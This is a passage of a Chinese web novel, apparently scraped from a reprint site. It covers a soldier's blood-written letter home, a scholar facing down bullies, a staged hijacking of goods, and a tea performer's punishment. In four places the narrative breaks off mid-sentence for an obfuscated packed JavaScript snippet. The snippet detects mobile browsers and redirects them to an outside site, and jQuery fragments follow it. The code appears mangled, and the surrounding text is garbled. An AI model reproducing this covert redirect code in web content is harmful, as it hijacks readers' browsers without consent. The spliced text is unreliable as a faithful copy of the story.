众人着实花了有一些时间才平复了心绪，也开始接受眼前这个神明般的少年，确实只是西境的一位年轻统领，并非二郎神本神。 “这里是战场，你们刚说自己是商队，怎会误闯到这里？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288610|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神明之话，如清风朗月，拂掉众人心头的紧张与不安。 知道驻军在附近，来接应他们的也不是阴兵鬼差，商队众人脸上慢慢有了活人模样。领队将商队情况大致介绍一番，对此前鬼打墙之事仍心有余悸。 少年校尉略略沉思，马鞭朝远处指了指：“你们带着货物，去营寨多有不便。东南二十里有一条运送粮草的官道，我让应龙给你们带路。” 今日救命之恩无以为报，众人纷纷跪拜。领队特呈上名帖，说将来若有需要之处，尽管开口。 “谁知那云校尉也是咱们东盛府人！”两个小厮越说越激动，对云校尉推崇之至，甚至因为是同乡而与有荣焉。 战乱之时，一纸家书可抵万金。云无择知道商队回东盛府，别无他求，唯有家书一封带与家中阿爹。 天寒地冻，无有纸笔，即便有那种狂风酷寒的状况下也研不动墨，铺不开纸。情急之下，云无择掀开铠甲，贴身撕下一块衣衫布料，咬开手指，以血为墨。 听到应龙之时，庄聿白已经按捺不住要跳起来：“果然是云兄，短短几个月，他竟然从藉藉无名升至校尉。云先生知道了，一定高兴！” “果然英雄少年！不过这也是缘分，”薛启辰也跟着开心，“当时云公子和那骆家二少比武，不枉我出钱出力在台下帮他吆喝！” 那封沾满西境风雪的家书，跟着商队在北边从年前滞留至今。得知的第一时间，薛启原便令人快马加鞭、星夜兼程送至孟家村。 和书信一同送至孟家村的还有薛家准备的一百两银子。但云鹤年原封不动让人又带了回来。 “我兄长的意思是，云公子在前线守疆护土，我们薛家一时无以为报，特准备了一车谢礼送与云先生。” “你们能将云兄家书带来，这对云先生而言，已经比什么都珍贵。”庄聿白知道这些礼物对薛家而言不算什么，只是聊表谢意，“正好过些时日我也要回去一趟，或者启辰兄与我通往？” 葡萄芽期养护至关重要，不仅影响果木全年长势，对葡萄开花挂果也尤为关键。虽交代了刘叔，还画了养护手册，庄聿白还是不放心，决定亲自去葡萄园盯着些。另外带到府城来的扦插藤苗已开始鼓芽，他计划着带回去一批。 薛家商队带回来云无择的消息，庄聿白一会儿开心，一会儿心中又堵堵的。 常年走南闯北的商队，仅仅误入战场三日，便已经开始集体崩溃。那常年驻扎在那里的将士呢？ 他们遇到的可不止是雪夜迷路、供给耗尽、疲累失温。自然环境的恶劣固然残酷，更残酷的还有不知何时挥到眼前的敌方弯刀，以及昨日还望月遥祝，畅想手握军功荣归故里，今日便血溅沙场、泥土埋脸盖住望向家的视线。还有黄沙尽头那无名无依的枯骨，不知又是谁家门前企望的夫婿，谁家含泪念归的儿郎…… 边境之苦寒，守疆之艰辛，岂是寥寥几个文字便能诉尽的？更不是大人物军功簿上那华丽卓著的垫笔邀功之辞。 庄聿白竟隐隐有些后悔。 若当时不去劝说云先生让云无择参加什么武举，此时的云无择或许正陪着阿爹或临窗品茗，或洒扫庭院，过着与世无争的安稳日子。 “是不是错了？”有时庄聿白会忍不住小声问出来。 “没有错。”孟知彰温柔拍拍庄聿白的脑袋，“这是云兄的选择。” 自从庄聿白确定返乡行程，孟知彰似乎有些反常。只要学院放了学，立马回家，一秒不耽搁。确保自己能空出的所有时间里，都有庄聿白的存在。当然庄聿白此行所有行李，也是他亲力亲为准备的。 “你会回来的，对么？” “当然回来啦。”庄聿白不知道孟知彰为何会有此问，“放心，有薛家的车队和护卫跟着，不会有任何差池的。” 孟知彰微微张开手臂。 庄聿白会意，放下手上东西，迎了进去。 根据“关系章则”，无人时，两人是可以随时抱一抱的。 但这次的拥抱，比往常要久得多，也紧得多。 一个柔柔的，凉凉的感觉，落在庄聿白额头。 庄聿白愣了下，猛地抬眸，却撞上孟知彰一直等在那里的目光。 那么近，那么炙热，似乎还有一点点紧张。 庄聿白忽地明白过来。 方才，落在自己额头的，是一个吻。 98. 入赘 庄聿白不在家，家中生意大小决议自然便落在孟知彰身上。 好在孟知彰平时没什么应酬，散学后立马回家。薛家或庄子上若有事情请他拿主意，都会趁他归家这段时间过来。 三省书院名盛名在外，同窗学子自是天南海北、五湖四海皆有。孟知彰因为同一日摘得院试榜首和秋会茶魁，在府城算是小有名气，加上书院藏书阁中颇为贵重的藏书抄本皆出自他之手，此事一经传出，书院学子中狠狠地轰动一番。 只是当时孟知彰很快返乡，多数人不得一见。众人又知他家中艰贫，难以支撑府城求学，正因不能结同窗之缘而遗憾时，谁知孟知彰竟出现在了学堂之上。 孟知彰的出现，打破了学院中原本微妙的派别平衡。 骆耀庭相貌堂堂，才学好，家世好，更有骆家在府城的实力托底，学中子弟都愿意结交依附。骆耀庭也习惯了自己所到之处皆有一群人追捧奉承的排场。 孟知彰矜持稳重，沉默少言，虽不至于独来独往，但自带的那股疏离清冷感，自动劝退了不少打算巴结逢迎之人。 观望的骑墙派越来越多，对骆氏小团体来说倒也无所谓，但自从孟知彰来了之后，素日被他们这些大家公子哥看不上的那群寒门子弟，像莫名有了什么底气似的，行为做派却让这小团体越发讨厌起来。 骆耀庭曾经高调临摹藏书阁书籍之事，满书院甚至满府城人尽皆知。谁曾想到头来竟是夺了自己榜首之位的一个穷酸乡野书生。为此事，骆耀庭私下一把火烧了此前辛苦临摹的所有书册。 恼火归恼火，但名门大家子该有的规矩风范，还是在的。平日碰到了，自也会点头致意，不过并不会深交。何况孟知彰家夫郎与薛家的生意当前正做得你侬我侬，有这层关系在，骆耀庭与孟知彰便注定穿不上一条裤子。 这日，有一批金玉满堂要从小各庄送至景楼，货物交接已是轻车熟路，虽不至于出什么差池，孟知彰还是要回家等管庄人将回讫送来。 孟知彰收拾了书箱，正要起身回家，素日鞍前马后跟在骆耀庭身边的几个书院学子走了来。 其中一人肥脸夹笑，冲孟知彰拱拱手，捏着嗓子道：“孟公子好啊，不愧是我们三省书院的楷模，今日先生又夸奖了孟公子。只是不知这书该如何读，才能像孟公子这般优秀呢？” 另一人收了折扇敲敲肥脸肩膀，笑说：“我倒是谁，原来说的是庄家赘婿呐！你家哥儿不在家，你还这般急着回家，或者跟我们出去喝一杯快活快活？哈哈哈” 很明显，这就是来找茬的。不过孟知彰素日与他们并无往来，也无瓜葛，不知今日为何弄此作派。孟知彰将书箱放在书案上，眸子沉了沉，并没开口说话。 又有一人上来：“快活这事，恐怕与孟公子无缘吧。毕竟孟公子仗着家中夫郎能赚钱，硬生生塞进书院。啧啧啧，软饭硬吃，原来是这个意思。” 众人一阵哄笑。 又是赘婿，又是软饭的，孟知彰尚未表态，有人早听不下去了，上前一步，厉声对那几人道：“注意言辞！诸位好歹也是读书人，斯文二字不会写么！” 是王劼。 此前秋季斗茶清会上摘得第三名，将那册善本书赢回家的清贫书生。当然那本书，后来薛启原为哄妻给想方设法弄了去。 肥脸书生拎起衣摆上前一步，收了折扇指着人道：“王劼，你鬼叫什么！你不过是薛家养的一只狗，主家发善心，让你进了三省书院的门。赏你几根骨头，你便真以为自己成了人了？敢这般同爷们讲话，真是不知死活！” “读书是要钱的，即便薛家给了你盘缠路费让你参加明年秋闱，真当自己能考中举人？一身穷酸相，诗文做得好又如何，没有家族支持，看你又能走多远？也不对，若你主家开恩，说不定试过秋闱，就给你在他们家学谋个教书先生的职位，赚些口粮嚼用，也不错，不错！” 那几人兀自说着，不时狞笑。 这话虽糙，但却并非全无道理。读书求仕，若只有寒窗苦读，是远远不够的。即便一路考上去，没有家族做后盾支撑，仅凭那一年几十上百两银子的俸禄，只能勉强养家糊口，哪里支撑得起顺风顺水的好前程，枉论实现政治抱负人生理想之类的。 所以孟知彰即便再有才学，即便书院先生们再怎么偏爱，深谙此理的书院大家子们，也大多敬而远之。想比之下，他们更愿意与家世显赫的骆耀庭结交往来，甚至依附。 哪怕当走狗，跪舔有肉吃，还是硬邦邦站着只能啃骨头，这其中还是有着天壤之别的。 孟知彰家中有事，原不打算与这几人纠缠，谁知他们越说越离谱，甚至牵连到试图替自己主持公道的同窗。这事，便不能就这么过去了。 “你叫钱源对吧？”孟知彰冷冷挑下眉，声音带着一种凛凛不可犯的威严，“还有你们，黄奇、周涛、丁宁。我与诸位素无恩怨，今日这般言语相向，究竟为何？” 方才众人那番不堪言语，换做常人，早脸红脖子粗对峙起来。这孟知彰却一派胸有惊雷而面如平湖者气度，倒让这几人背后发凉，一时哑口。 孟知彰向前一步，目光在众人面前扫个来回，压得众人眼皮不敢向上抬。 方才嚣张气焰一下消了，不知谁又小声咕哝一句：“果然吃软饭的，脾气就是硬，只敢在外面拿乔。在家里不知又是那般模样？” 孟知彰话不多说，上前一步将那人拉过，将其飞身按在桌案上。 五大三粗一人，竟像只小鸡仔一般毫无招架之力。众人听闻这孟知彰有些功夫在身上，原以为只是没见识之人人云亦云，方才手起人落，动作中的狠劲一下将这群惯会在酒池脂粉堆厮混的众人镇住。 “孟知彰你放开老子！你可知我爹是谁？你可知我与骆公子什么关系？敢动我， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300777|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你等着……”脸在桌案上之人没了面子，口中骂骂咧咧，又哭喊求众人救他，奈何没一人敢上前。 孟知彰手上用了力气。 桌上人倒识时务，立马换了嘴脸：“哎呦呦！别别别！孟公子，有话好说，好说。方才是我误会了……我也是听别人说的……” “看来诸位对孟某家事，很是有兴趣。不过，你们没有误会。那些道听途说，也并非全是捕风捉影。” 孟知彰放了人，冷笑一声，索性将椅子摆正，坐下来，打算就此事好好当面澄清一番。 “我们孟家是夫郎当家，若你们将此叫做‘赘婿’，无可厚非。我家中一针一线、一米一粟皆是夫郎所赚，若诸位称之为‘吃软饭’，那我孟某确实在吃软饭。而且我家夫郎愿意让我入赘，也舍得将这软饭端与我吃，诸位有什么意见么？” 孟知彰素来严肃沉稳，这话若不是出自他之口，众人定当哄然大笑起来。可此时那几人甚是摸不着头脑，只敢你看看我、我看看你，大气也不敢喘。 “这是我孟某家事，我家夫郎尚未有任何不满之处，又何需诸位操这个心？还是诸位嫉妒我有人能让我入赘、又肯喂我软饭？”孟知彰顿了顿，“这倒提醒了孟某。将来孟某家的孩儿，也要随我家夫郎姓庄。诸位可有什么意见？” “不不不，我们不嫉妒……也没意见。”有人尴尬应和。 “散学多时，家中仆役在等，我们改日再聊，改日再聊！” 更有人想溜之大吉，孟知彰起身拦了那人去路。 “丁宁，方才是你出言不逊，对王公子指手画脚的？”此时孟知彰语气明显不对，听得人头皮发麻。 那叫丁宁的，被提名叫住，猛地打个冷战，忙摆上笑脸：“方才……那个，言语多有不妥，我家人来接我了，我……” “向王公子道歉！”孟知彰声音不高，却有一股不容反驳的震慑。 “我……”丁宁拉不下面子。 “嗯？”孟知彰缓缓站起身。 那王宁一个哆嗦，立马冲王劼作揖如捣蒜：“王公子，方才言语冒犯，您大人大量饶我这一次！王公子！” 众人正闹着，忽急匆匆跑来一人：“孟公子！孟公子，书院门外有人找，说是庄子上的人，有急事寻你。” 孟知彰心内一沉，心中似乎明白过来什么。他同王劼行礼告辞，拎起书箱，又回头扫了骆耀庭的这几个跟班一眼。 果然是金玉满堂的运送出了问题。 素日都是管庄人大儿子带着庄上一两个稳妥之人一并运送。好巧不巧，今日常跟车的周叔不在，换了然哥儿跟着。换一两个人不碍事，何况平时走惯了个路，众人也知道这是送往薛家的货车，这光天化日的还能有人寻事不成。 可谁知马上至东门时，果然出现拦路之人。而领头的不是别人，正是骆家悦来茶坊的当家茶伎九哥儿。 99. 劫道 九哥儿身后跟着七八个打手，虎背熊腰截在路中，个个手持棍棒马鞭。 有备而来。 “茶坊中缺些茶点，暂借贵庄这金玉满堂一用。”九哥儿向前两步，盈盈款款施了一礼。 借用？ 管庄人周老汉之子周通上前，依样画样还了一礼，严谨又潦草，眼中满是疑惑和戒备。 悦来茶坊的当家茶伎满府城谁人不知、谁人不晓。去岁斗茶清会上，这位九哥儿登台制茶，名动府城，周通挤在人群中也远远瞥见过一眼。 多少富家子弟投掷重金难得私下一见的府城头牌茶伎，谁知今日竟站至自己面前，周通等人无不有些恍惚，甚至说受宠若惊。只是看对方这架势有些……不对。 九哥儿亲自来借东西？还是向几个大字识不几个的粗人来借，说出去谁人会信？换作往常，周通不等人开口，早将物品归整好，小心翼翼亲手递了上去。 但今日不行。车上是送往薛家的金玉满堂。而且是量产以来第一次送货。迟不得，少不得。 “这位是九哥儿九公子吧，嘿嘿”周通挠了下头，憨笑着有些不知所措，正要羞涩之时，一眼瞥见对方身后那几人手中的棍棒，脸上表情僵住，泛起讪讪之意。 九哥儿轻轻点头，又给身旁人递了个眼神：“当然我们不白借，这是50两银子。你们拿回去，也好向主家交代。” “……九公子！这，这使不得，万万使不得……”周通不敢接对方递来的钱袋子，红涨着脸直往后退。 “哦？”九哥儿冲身边小厮挥下手，“那就再添50两。” 那小厮又拿出一包银子来，递与周通。周通哪里敢接，边慌忙摆手边窘迫地向后退。 正不知如何是好时，一人拦出来，挡在周通面前。 “抱歉九公子！钱，不能收。货，您也带不走！” 此人身量不高，一副瘦削文弱之态，似有不足之症。声音也不大，但所说之话却掷地有声。 “你是管事的？”九哥儿整理着被风吹起的氅衣缀绳，并没有抬眸看眼前小哥儿。 “我虽不是管事，但事关主家，我们便不能不管。这批货物已经有买主了。” 小小身板挡在自己前面，周通有些过意不去，不过这话提醒了自己，他重新向前一步，将那小哥儿挡在一旁。 “对，九公子，这货物是早就定好的。我们如约送去，误了时辰就不好了。您大人有大量，高抬贵手，别难为我们底下做事的。若您这边实在想要这货物，可以同我们主家商议。我们主家人很好的，也很好说话。就是庄公子，去岁秋季茶魁孟公子的夫郎……” 九哥儿轻笑一声，摇头：“本公子，今日就是想要这批货物。一手交钱一手交货，当场钱货两讫，公道，便利。” “……呃。九公子，这，这不是为难我们么！”周通又看了眼那几个大汉手中的棍棒，掂量下自己带的这几人，一时哪敢撕破脸，硬碰硬更是碰不起。 九哥儿垂眸看了下手中手炉，摆上些不耐烦：“本公子还有其他事。没时间同你们耗在此处。” “九公子在府城也算叫得上名号，今日为何偏偏难为我们这几个庄户人！传出去不怕声誉有损？”那小哥儿看去瘦弱，却一脸正气，气势不输在场任何一人。 九哥儿终于抬眸扫了一眼这位小哥儿，眉眼间动了动，终究克制住情绪：“有胆量，你叫什么？” “然哥儿。”然哥儿不卑不亢行了个礼。 “还是方才说的。生意向来讲究一个公平。我出钱，你们给货。我不欠金少银，你们也不缺斤短两。这便是很好的一单买卖。何来难为之说？”九哥顿了顿，“你这张脸，长得倒还乖巧。弄坏了岂不可惜？” 后面跟上来一个圆脸黑汉，气鼓鼓高声道：“九公子，何需同他们费口舌！干了再说！” 九哥儿看了下天，时间不早了。他拢着手炉，退至身后马车上，同身边人交代，“留意些，别伤着他的脸。” 既然话说不通，那便拳脚沟通。 双方根本不在同一量级，绝对力量的碾压下，各庄这批货物的护送之人根本毫无招架之力。所幸九哥儿带来之人目标明确，只冲着骡车上的几袋子金玉满堂使劲，手上虽粗鲁，但没那么多阴招、损招。他们的招数全在明面上，坏得直接，坏得坦荡。 前后不消一盏茶功夫，骡车上的袋子已被棒槌鞭打得没了样子。那几人还不罢休，索性又浇了几囊水，扬上些土尘。毁得彻底，救是救不会来的。 既然自己买不走，对家也休想能完好拥有。 孟知彰拎着书箱赶到时，九哥儿一众刚离开不多时。 骡车上原本规规整整的玉片干胚袋子，目前只剩一片狼藉，泥灰满布，惨不忍睹。对方虽然冲货使劲，在场护送货物之人岂能袖手旁观，自然拼命上前争抢撕打。结果可想而知，哪个没挨上几拳，受了几脚？ 众人见孟知彰来了，忙围上来，七嘴八舌复述方才之事。 孟知彰看着众人状态，知道对方下了手，但明显留过情面，不然眼前几人不可能还能站着讲话。至于货物……还真是没留情面，像是专门来捣乱的小孩，发了狠地折腾。 有人递过来一包银子，对方临走时扔下的50两银子，说是赔偿。礼貌得很。 “这是扩大产量后的第一次去城中送货，庄公子临行前千叮咛万嘱咐，让我们一定当心，不可有任何差池，谁知……” 方才英勇抗争，未退让半分的然哥儿，此时竟扑簌簌落下泪来，满脸悔恨，满腔自责。 他身子弱，激烈对抗时，几次被那群莽汉撞摔到地上。但他自带一种不服输的倔强，摔倒后立马爬起，继续去螳臂当车，打不过，他便上口咬人。 那圆脸黑汉气呼呼走时，胳膊上还留着然哥儿的几排牙印。 “那如期交付的货物交不上，岂不是失信于人？我们如何同景楼掌柜交代，等庄公子回来了，我们又有何脸面见公子？” 然哥儿说着，抽抽噎噎又哭起来，不过哭了几声，他忽地想起什么，又道：“这事看似冲着各庄冲着公子们而来，实则针对的是背后的薛家。我们人微言轻，孟公子或者请薛家公子出面去骆家讨个公道呢？” 其他人只知恨恨骂人，这然哥儿虽伤心恼怒，声音带着哭腔，却思路清晰，三言两语交代出发生之事，也点出了问题所在，短短时间还能想出应对之策。有胆有识，有勇有谋。 孟知彰不禁多留意了一下眼前这位小哥儿。看样子，应该就是庄聿白常跟他提起的那位然哥儿了。 今日之事确实是冲着薛家来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305012|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆薛两家看似相安无事，平静水面下的暗流漩涡，半点未减。有了金玉满堂的加持，薛家在府城商业版图上的格局里面会出现鲸吞之势。商场虽无战场之硝烟，但血腥手腕从来不缺。眼见薛家有冲天崛起之势，利益相关的骆家岂会不闻不问、听之任之。 薛家扣留被在北边的那批货物，是骆家的一次警告。但当时仍然做得半遮半藏，并未全然撕破脸。即便薛启原带去抢了回来，与之厮斗的仍然是对方雇佣的散兵游寇，自始至终骆家都隐身在帷幕之后。 这次却在城门之外，堂而皇之截取薛家货物。放了话，毁了货，伤了人。这是将两家恩怨当街挑明。 九哥儿接触虽不多，但是个行事谨慎周全之人。这次竟有些不管不顾的意味。孟知彰眼眸沉了沉。方才学院中骆耀庭几个跟班故意言语相激，挑起事端，也是有人故意拖住自己，为的是将自己从正面冲突中摘出来。 明面是骆薛两个家族的利益之争。但为了一车货物撕破两家好不容易粘贴好的和平相处的面具，似乎又有些过了。孟知彰一时倒有些看不懂。他要好好想一下。 凡事若不能一招制敌最好。若不能，任何轻举妄动都可能打草惊蛇，事倍功半。 众人仍围着车子，沮丧至极：“孟公子，今日这货无法按时送到铺子里，我们该如何向掌柜的交代？” 孟知彰不语，朝城门方向指了指，迎面过来一辆骡车。 周通眼尖，认出赶车之人是自己的父亲，还有原本要和自己一道送货的周叔：“他们今日不是有事出去了么，怎么从城中出来？” 周老汉下了车，擦擦脸上汗，城外之事他也听说了，见儿子及众人并无大碍也便放下心，冲孟知彰抱拳行礼：“孟公子，货物都交到薛家铺子里了。这是收讫。” 孟知彰接过，看了看刚刚干透的薛家印章，将收讫折起，小心收进袖中。 这次金玉满堂交接数量非比往常，若一时出了岔子，对薛家商铺及酒楼会的影响难以预料。稳妥起见，孟知彰才用了一招明修栈道暗度陈仓。货物正常着人从各庄运往城中。但这批只是幌子，所装货物是一些边角料掺杂一些碎木片等物。袋口一封，根本看不出是什么。不仅瞒过了捣乱之人，连运送货物的周通等人也皆不知，自己这一趟只是走过场。 真正要送去薛家的货物，则由周老汉和周叔等人换了条不常走的路，悄悄早半日就送了去。 众人一听，忙去那狼藉一片的车上去看，果然袋口打开，散出半车碎木片。 然哥儿身子弱，此时有些体力不支，周通忙要上前扶住，却被他父亲周老汉一鞭子支开。 周老汉吃的盐比周通多得多，他一开始就注意到孟知彰对然哥儿的态度有变，虽看不懂其中意味，自己几十年的人生阅历告诉他，经此一事，然哥儿应该不会再是一个默默无闻的无人在意的小哥儿。自己儿子的这一动作，虽出自好意，但很不合时宜。 “孟公子，然哥儿受了伤，是否需要将他……留下。” 孟知彰看了周老汉一眼，只一眼便明白对方所指，正色道：“今日各位都辛苦，你先带他们去医馆看郎中，另外回去多支半月薪水给他们。我家夫郎不在……” 后半句没说完，周老汉立马懂了。不该动的心思，不要动。 100. 绿江独家 悦来茶坊内，明烛满堂，笙歌燕舞，随着暮色降临，茶坊也慢慢笼上一层旖旎情愫。 推杯至盏间，喝的是郎情妾意，品的是凡尘百味。 红烛泪垂，眉目传情。 南来北往的消息情报，也随轻启朱唇在这红鸾帐内外，被筛选、被编织、被收集起来悄悄呈送出去。 九哥儿坐镇坊台之前，一身清凉的羽衣，周身斜缠着妃色丝锦，冰台色薄纱披帛松松缠在手臂间，行动间轻柳拂风，春波荡漾。他如往常一般招待客人，左右逢源，八面玲珑，仿佛两炷香前东门截货之事，并不是他做的一般。 台下雅座间端坐一位客人，虽一身便装，眉宇间贵气难掩。此人进门时九哥儿就留意到了。此等客人，坊中并不少见。有的来坊中寻人，有的来茶坊寻信，有的慕名来品茶，当然也有人此行目的就是茶坊本身，或者再具体一点，茶坊背后的骆家。 不过对方乔庄一番，故意保持低调，明显是不想被打扰，九哥儿也便装作不知。可等他从东门外回来，换了衣衫，对方仍端坐雅间。 九哥儿眸心动了动，他亲自登台献了一支羽衣舞，翩若飞仙，迅如游隼，巧笑倩兮，美目盼兮，惹得台下掌声阵阵，彩头翻飞。 无人在意的角落，茶坊老仆役正一脸焦急望着台上的九哥儿。不过献舞之时他不敢叨扰，只能一边挥袖擦汗一边焦急地踱着步子。六神无主，又无可奈何。 方才东门之事第一时间已传回府中。车马备在暗巷，老爷让他去府上一趟。 台下一举一动都尽收九哥儿眼底，当然也包括老仆役的焦虑不安。 一曲舞罢，他将自制飞天茶，一盏一盏亲手捧与雅座宾客，当然那一位客人也不例外。 那位客人神情淡淡等在那，似乎知道这茶注定会有自己一盏，似乎也清楚自己注定会是最后一位。九哥儿将茶捧至近前，三尺外便微微行礼致意，虽如常献茶，似乎哪里又有些不寻常。双方尽量避免肢体接触，茶盏近身递接时，连视线都有意错开，全程更无一字交流。 奉完茶，九哥儿复又登台告恼，笑说：“九哥儿有事要失陪了。今夜若回得来，便再献舞一支。若回不来……” 一语未了，台下吵成一片： “九哥儿，你去哪儿？本公子陪你去！” “你今晚若不回来，我们可就不走了！” “九哥儿别怕，若有人敢为难你，本公子可不是吃素的！” 吵嚷的都是悦来茶坊常客，知道九哥儿虽面上风光，背后也是有主子的。有主子就有做不得主之事。 马车上九哥儿换了一身素服。 “哥儿，你今日糊涂哇！” 老仆役还想多说两句，九哥儿抬手制止，一副看淡一切的神情。 “无妨。我今日既决定去东门外，便做好了受罚的准备。” 马车停在骆家角门。早有两名暗卫等在哪里，手中利刃在一排“骆”字宅灯照耀下，越发阴森冰冷。 九哥儿裹紧大氅下车，轻描淡写交代：“蒲叔，若亥时我还没出来，就不用等了。我房间那个镶螺钿紫檀匣子里有几两银子，你自行拿去置办几亩地，将来若离了这里，也有个傍身之资。” “别说傻话……一定出得来。你好好求求老爷，学会低头，保住小命……” 老仆役站在原地，看着九哥儿瘦弱的背影，被关进重门掩映的骆宅，心中叹息一阵重似一阵。他自然知道这“不用等了”意味着什么。 被暗卫从这个门带进骆家之人，能有几人得以全须全影地走出来？ 一所幽静小院，进得中庭，九哥儿冠巾尽摘，褪去外氅，只剩内里一袭素服。复又脱掉鞋袜，赤脚散发走进在锋利细碎的石子铺就的训诫石阵中。 扑通一声，双膝重重跪在石子之上。钻心之痛，九哥儿眉心不觉蹙了蹙。 “九哥儿特来请罪，请老爷责罚！” 房门紧闭，良久，屋内灯光亮起，一个黑色人影缓缓铺上窗扇。幽灵一般。 “好大的胆子！是谁让你去兴师动众去动薛家的货物？” “是九哥儿自己的主意！请老爷责罚！”九哥儿一个头磕下去，额角钝痛，随即传来一丝血腥。 “罚自然是要罚的。违背主命，擅做主张，当受何等惩戒？” “初犯，烙刑，左右脚心各一。”九哥儿面不改色，对答如流，似乎早已做好一切准备。 脚心受刑，虽不至于无法行走，但对不是登台献舞制茶的首席茶伎而言，无疑是一大重创。若恢复得好，一两个月便能出来侍客。若行刑时出点差池，这一双腿脚露出残疾，这茶伎是做不成了。 一个无用之人，一枚侧彻头彻尾的弃子，换做旁人逐出去即可。但九哥儿不同。他是当家茶伎，这些年来知道茶坊里外的大小之事知道的太多。 等待他的只有且仅有一个结局——永远闭口。 “你可有辩解之言？” 窗内声音低沉，似乎有缓和之机，并不至于将人逼至绝路。 “九哥儿，你当时怎么想的，快如实向老爷禀报。”院子暗处，有人提点九哥儿。 九哥儿直起身，复又郑重冲窗内拜了三拜。 “今日九哥儿行此下策实属无奈。坊间有传言，九哥儿有意结交薛家，这，实属无稽之谈！此事缘起斗茶清会之时，当时九哥儿并不知孟庄二人同薛家交好，只是因此前二人搭救过自己，为表感激特意当众奉茶致谢。今日九哥儿当众与孟庄交恶，与薛家交恶，想来即便九哥儿想拜人门下，对方也不能见容。忠心昭昭，日月可表。只是九哥儿愚笨，只一心为了使自身分明，却忘记会为茶坊惹来麻烦……请老爷责罚！” 窗内没有声音，那个巨大的黑色剪影一动不动贴在窗上，定格一般。像是在揣摩这话中真假，也像在思考薛家与孟庄交好，值不值得骆家出手。 “当然，今日九哥儿所为也有私心。” 话已经说到这个份上，而且窗内人已经听了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310817|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么久并未打断自己，这就意味着一切都有转机。真真假假，假假真真，九哥儿竟滚了几滴热泪下来，声音也带上哭腔，连称谓也变了。 “自从这薛家搭上金玉满堂之后，他家茶坊生意都跟着好起来了。奴家这边有几个老主顾言语间时不时夸赞那边的吃食茶技，奴家岂能不着急？实在看不过。九儿着急，一时昏了头，九儿蠢笨，不敢求老爷原谅，更不敢请老爷教诲。奴家甘愿受罚。” 一时间，九哥儿竟伏在地上，抽抽噎噎哭得梨花带雨。 “奴家给家中惹了麻烦，给茶坊蒙了羞，无颜再侍奉，还请老爷责罚，或者今日就将奴家刺死。九哥儿也无半句怨言……” 良久。院内的暗夜与静默，一鞭一鞭抽打着九哥儿的脊背，每一鞭，都是皮开肉绽的痛。一鞭疼似一鞭。 “茶坊情况如何。”窗内剪影向后退了几步，低声问身边人。 “众人皆等着九哥儿回去，今日若不放他回去，场面恐难控制。”窗内有人小声回复，又补充道，“以及……爷还在呢。” “哼！他还很会挑时机。”窗内人冷笑一声，复走回窗边，对外厉声道，“这一顿烙刑，暂且记着，若再有下次，两罪并罚。” “奴家谢老爷，定不敢有下次。” “慢着！” 九哥儿刚要起身，忙又原地跪好。 半日，房内道：“回去之后，你当如何行事？ 九哥儿一顿，回道：“一切如常。” * 各庄。 清冷月辉洒上葡萄苗圃。 夜间温度低，然哥儿给这些刚刚发芽不久的葡萄幼苗，轻轻盖上松软稻草。 庄公子待自己很好，他临行前特意将这片育苗圃交与自己。自己定当尽心竭力，不负所托。 日暮时东门外之事，让他此时仍心有余悸。 可等现在冷静下来回头看，虽说一切看去凶险，但对方并没有下死手，有种高高举起轻轻落下的作秀之感。可作给谁看呢？ 还有那位九哥儿，一位养尊处优的名伶茶伎。自己如今只是一个仅能田中糊口的哥儿，是绝对不可能和他有过什么交集的。 可冥冥之中，然哥儿就是觉得这位九哥儿有种莫名的熟悉感，熟悉到可以直接走上前唤他名字的地步。甚至有那么一瞬，他竟然觉得今日这场作秀，就是冲自己来的。 有些无稽。 然哥儿笑着摇摇头，揉了揉隐隐作痛的胳膊，裹紧衣襟，抬头望向夜空中那轮清亮的皓月。 月辉清冽，久久映在九哥儿抬头仰望的眸底。 素来沉静的眸底，不知何时竟掀起风沙。 西境的风沙向来凶狠。那也是一个明月夜，一阵沙尘过后，年幼的九哥儿被迷昏带走，成了骆家众多伶伎中的一员。 而更年幼的弟弟，自此再无音讯。 